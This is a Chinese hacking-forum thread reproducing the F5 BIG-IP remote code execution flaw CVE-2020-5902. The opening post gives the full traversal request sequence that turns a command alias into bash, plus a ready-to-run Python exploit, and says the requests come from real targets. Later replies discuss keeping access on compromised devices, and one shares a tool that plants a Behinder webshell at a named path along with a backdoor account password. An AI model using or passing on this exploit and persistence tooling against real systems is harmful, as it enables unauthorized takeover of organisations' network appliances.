# CVE-2020-5902 BIG-IP RCE漏洞复现

**URL:** <https://forum.90sec.com/t/topic/1185>\
**Category:** 技术文章\
**Created:** [2020 年7 月 6 日 09:22 UTC](https://forum.90sec.com/t/topic/1185 "2020-07-06T09:22:27Z")\
**Posts on this page:** 6\
**Page:** 1

<div class="post-metadata">

作者： ![print](https://forum.90sec.com/user_avatar/forum.90sec.com/print/32/6831_2.png) [@print](https://forum.90sec.com/u/print)\
发布日期： [2020 年7 月 6 日 09:22 UTC](https://forum.90sec.com/t/topic/1185/1 "2020-07-06T09:22:28Z")

</div>

```http
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: xxxxxx
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
DNT: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=41C2740D9D716832E72D7F00BDE3CFA3
Content-Length: 37

command=delete+cli+alias+private+list
-------------------------------------------------------------------------
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: xxxxxx
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
DNT: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=41C2740D9D716832E72D7F00BDE3CFA3
Content-Length: 50

command=create+cli+alias+private+list+command+bash
-------------------------------------------------------------------------------
POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: xxxxxx
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
DNT: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=41C2740D9D716832E72D7F00BDE3CFA3
Content-Length: 33

content=id&fileName=%2Ftmp%2Fqqweqwe
------------------------------------------------------------------------------------
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: xxxxxx
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
DNT: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=41C2740D9D716832E72D7F00BDE3CFA3
Content-Length: 26

command=list+%2Ftmp%2Fqqweqwe
-------------------------------------------------------------------------------------
POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp HTTP/1.1
Host: xxxxxx
Connection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Sec-Fetch-User: ?1
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
DNT: 1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Cookie: JSESSIONID=41C2740D9D716832E72D7F00BDE3CFA3
Content-Length: 37

command=delete+cli+alias+private+list

```

 ![](https://www.o2oxy.cn/wp-content/uploads/2020/07/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20200706120545.png)

为了不这么麻烦。弄了一个python

```python
import requests,sys
def exp(url,cmd):
    proxies = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080',
    }
    burp0_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp"
    burp0_cookies = {"JSESSIONID": "41C2740D9D716832E72D7F00BDE3CFA3"}
    burp0_headers = {"Connection": "close", "Cache-Control": "max-age=0", "DNT": "1", "Upgrade-Insecure-Requests": "1",
                     "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36",
                     "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
                     "Sec-Fetch-Site": "none", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1",
                     "Sec-Fetch-Dest": "document", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7",
                     "Content-Type": "application/x-www-form-urlencoded"}
    burp0_data = {"command": "create cli alias private list command bash"}
    burp_data = {"command": "delete cli alias private list"}
    burpq_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp"
    burpq_data = {"fileName": "/tmp/qwerty", "content": cmd}
    try:
        c = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp_data, proxies=proxies,
                          verify=False)
        b = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data, proxies=proxies,
                          verify=False)
        requests.post(burpq_url, headers=burp0_headers, cookies=burp0_cookies, data=burpq_data, proxies=proxies,
                      verify=False)
        print(url)
        print(b.content)
    except:
        return
    burp1_url = url + "/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp"
    burp1_data = {"command": "list /tmp/qwerty"}
    try:
        a = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp1_data, proxies=proxies,
                          verify=False)
        requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp_data, proxies=proxies,
                      verify=False)
        print(a.content)
    except:
        return

if __name__ == " __main__":
    try:
        args=sys.argv[1]
        cmd=sys.argv[2]
        if args[-1]=='/':args=args[0:-1]
        exp(url=args,cmd=cmd)
    except:
        print('python f5_rce.py https://127.0.0.1 whoami')

```

运行方式  
python f5\_rce.py [http://127.0.0.1](http://127.0.0.1) whoami  
感谢TimWhite 大哥的指导

参考1:[https://github.com/jas502n/CVE-2020-5902/](https://github.com/jas502n/CVE-2020-5902/)  
参考2:[https://github.com/rapid7/metasploit-framework/pull/13807/commits](https://github.com/rapid7/metasploit-framework/pull/13807/commits)

---

<div class="post-metadata">

作者： ![1054397776](https://forum.90sec.com/letter_avatar_proxy/v4/letter/1/0ea827/32.png) [@1054397776](https://forum.90sec.com/u/1054397776)\
发布日期： [2020 年7 月 7 日 01:48 UTC](https://forum.90sec.com/t/topic/1185/3 "2020-07-07T01:48:56Z")

</div>

兄弟，你有没有在实战环境下检测，好像在实际环境下，执行系统命令不起作用。你是自己搭的环境做的吗。还是说要执行命令有什么限制条件。

---

<div class="post-metadata">

作者： ![print](https://forum.90sec.com/user_avatar/forum.90sec.com/print/32/6831_2.png) [@print](https://forum.90sec.com/u/print)\
发布日期： [2020 年7 月 7 日 02:00 UTC](https://forum.90sec.com/t/topic/1185/4 "2020-07-07T02:00:33Z")

</div>

上面的都来自实战数据...

---

<div class="post-metadata">

作者： ![1054397776](https://forum.90sec.com/letter_avatar_proxy/v4/letter/1/0ea827/32.png) [@1054397776](https://forum.90sec.com/u/1054397776)\
发布日期： [2020 年7 月 7 日 06:42 UTC](https://forum.90sec.com/t/topic/1185/5 "2020-07-07T06:42:17Z")

</div>

根据我发现的，好像只有是root用户的情况下才可以执行命令，否则不行。是什么原因呢。有遇到过吗大佬。

---

<div class="post-metadata">

作者： ![bakabie](https://forum.90sec.com/user_avatar/forum.90sec.com/bakabie/32/6677_2.png) [@bakabie](https://forum.90sec.com/u/bakabie)\
发布日期： [2020 年7 月 8 日 16:06 UTC](https://forum.90sec.com/t/topic/1185/8 "2020-07-08T16:06:09Z")

</div>

比起执行命令我倒是想知道有没有什么好的姿势维持权限，大部分机器都是不出网的所以什么反弹shell也都没办法，web路径的话默认是只读，重新挂载之后写了webshell但是遇到了500，不知道各位老哥有没有什么好的解决办法 ![TIM截图20200709000545](https://forum.90sec.com/uploads/default/original/2X/1/13463bd115d3d229196685b53bdb8a5a72bb36a6.png)

---

<div class="post-metadata">

作者： ![bakabie](https://forum.90sec.com/user_avatar/forum.90sec.com/bakabie/32/6677_2.png) [@bakabie](https://forum.90sec.com/u/bakabie)\
发布日期： [2020 年7 月 9 日 10:05 UTC](https://forum.90sec.com/t/topic/1185/10 "2020-07-09T10:05:05Z")

</div>

感谢老哥指导，特此根据楼主代码写了个自动上传jar并且写马加shell的  
[auto.zip](https://forum.90sec.com/uploads/short-url/wHG3gZXLAaIIFdOc1Vk3aU23gFy.zip) (2.2 MB)  
运行成功后会写一份默认冰蝎在/tmui/tmui/login/images/test.jsp下，之后可以用`su abcd`密码`password@123`来提权  
 ![photo_2020-07-09_18-02-49](https://forum.90sec.com/uploads/default/original/2X/5/5098a3357747e5250125ed53c94ef3d8732b9cf2.jpeg)  
就是这成功率着实有点低。
